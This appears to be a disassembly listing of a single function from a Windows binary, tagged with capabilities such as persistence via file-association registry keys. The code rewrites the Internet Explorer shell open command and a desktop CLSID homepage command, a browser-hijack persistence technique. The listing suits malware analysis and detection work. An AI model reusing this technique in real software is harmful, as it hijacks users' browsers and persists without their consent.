Function at 0x401670
Capabilities:
Persist via default file association registry key
Query or enumerate registry value
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x41da48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
mov eax, dword [0x426e28]
push ebx
push ebp
push esi
push edi
mov esi, ecx
mov dword [esp + 0x2c], eax
xor ebx, ebx
mov dword [esp + 0x28], eax
mov dword [esp + 0x38], ebx
push 0x4264b4
lea ecx, [esp + 0x14]
mov byte [esp + 0x3c], 1
call fcn.00415796
lea edi, [esi + 0x8c]
push str.Program_FilesInternet_Explorer_
lea eax, [esp + 0x20]
push edi
push eax
mov byte [esp + 0x44], 2
call fcn.00415971
push eax
lea ecx, [esi + 0x7c]
mov byte [esp + 0x3c], 3
call fcn.00415815
lea ecx, [esp + 0x1c]
mov byte [esp + 0x38], 2
call fcn.00415728
push edi
lea ecx, [esp + 0x14]
call fcn.00415af4
push str.Program_FilesInternet_Exploreriexplore.exe
lea ecx, [esp + 0x14]
call fcn.00415ab8
push 0x42645c
lea ecx, [esp + 0x14]
call fcn.00415ab8
lea ebp, [esi + 0x90]
lea ecx, [esp + 0x10]
push ebp
call fcn.00415af4
push 0xf003f
push ecx
mov ecx, esp
mov dword [esp + 0x2c], esp
push str.MACHINESOFTWAREClientsStartMenuInternetIEXPLORE.EXE_shellOpencommand
call fcn.00415796
mov ecx, esi
call fcn.00403400
push 0xf003f
push ecx
mov ecx, esp
mov dword [esp + 0x2c], esp
push str.ROOTCLSID871C5380_42A0_1069_A2EA_08002B30309D_shellOpenHomePageCommand
call fcn.00415796
mov ecx, esi
call fcn.00403400
xor edi, edi
mov dword [esp + 0x1c], edi
lea ecx, [esp + 0x18]
mov byte [esp + 0x38], 4
push ecx
push 0xf003f
push ebx
push str.SOFTWAREClientsStartMenuInternetIEXPLORE.EXE_shellOpencommand
push 0x80000002
mov dword [esp + 0x2c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x401793
mov edi, dword [esp + 0x18]
xor eax, eax
mov dword [esp + 0x1c], edi
cmp eax, ebx
mov dword [esp + 0x14], eax
jne 0x4018d4
push 0x104
lea ecx, [esp + 0x14]
mov dword [esp + 0x18], 0x104
call fcn.00415b0c
lea edx, [esp + 0x14]
mov dword [esp + 0x18], ebx
push edx
push eax
lea eax, [esp + 0x20]
push eax
push ebx
push 0x42a748
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call fcn.00415b5b
push 0x4264b4
lea ecx, [esp + 0x14]
call fcn.00414135
cmp eax, 0xffffffff
jne 0x401843
lea ecx, [esp + 0x10]
lea edx, [esp + 0x24]
push ecx
push 0x4264b4
push edx
jmp 0x430b08
push 0x22
lea ecx, [esp + 0x14]
call fcn.00414113
inc eax
lea ecx, [esp + 0x24]
push eax
push ecx
lea ecx, [esp + 0x18]
call fcn.0041409b
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x3c], 7
call fcn.00415815
lea ecx, [esp + 0x24]
mov byte [esp + 0x38], 4
call fcn.00415728
push ebp
lea edx, [esp + 0x28]
push 0x426378
push edx
call fcn.004159e5
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x3c], 8
call fcn.00415af4
lea ecx, [esp + 0x24]
mov byte [esp + 0x38], 4
call fcn.00415728
mov eax, dword [esp + 0x10]
push eax
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push ebp
push 1
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp edi, ebx
je 0x4018d4
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edi, edi
mov dword [esp + 0x1c], edi
lea eax, [esp + 0x20]
push eax
push 0xf003f
push ebx
push str.CLSID871C5380_42A0_1069_A2EA_08002B30309D_shellOpenHomePageCommand
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
mov dword [esp + 0x14], eax
jne 0x40191e
mov eax, dword [esp + 0x10]
mov ecx, dword [eax - 8]
push ecx
mov ecx, dword [esp + 0x24]
push eax
push 1
push ebx
push 0x42a748
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x20019
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push str.MACHINESOFTWAREClientsStartMenuInternetIEXPLORE.EXE_shellOpencommand
call fcn.00415796
mov ecx, esi
call fcn.00403400
push 0x20019
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push str.ROOTCLSID871C5380_42A0_1069_A2EA_08002B30309D_shellOpenHomePageCommand
call fcn.00415796
mov ecx, esi
call fcn.00403400
cmp edi, ebx
je 0x401963
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x10]
mov byte [esp + 0x38], 1
call fcn.00415728
lea ecx, [esp + 0x28]
mov byte [esp + 0x38], bl
call fcn.00415728
lea ecx, [esp + 0x2c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00415728
mov ecx, dword [esp + 0x30]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x2c
ret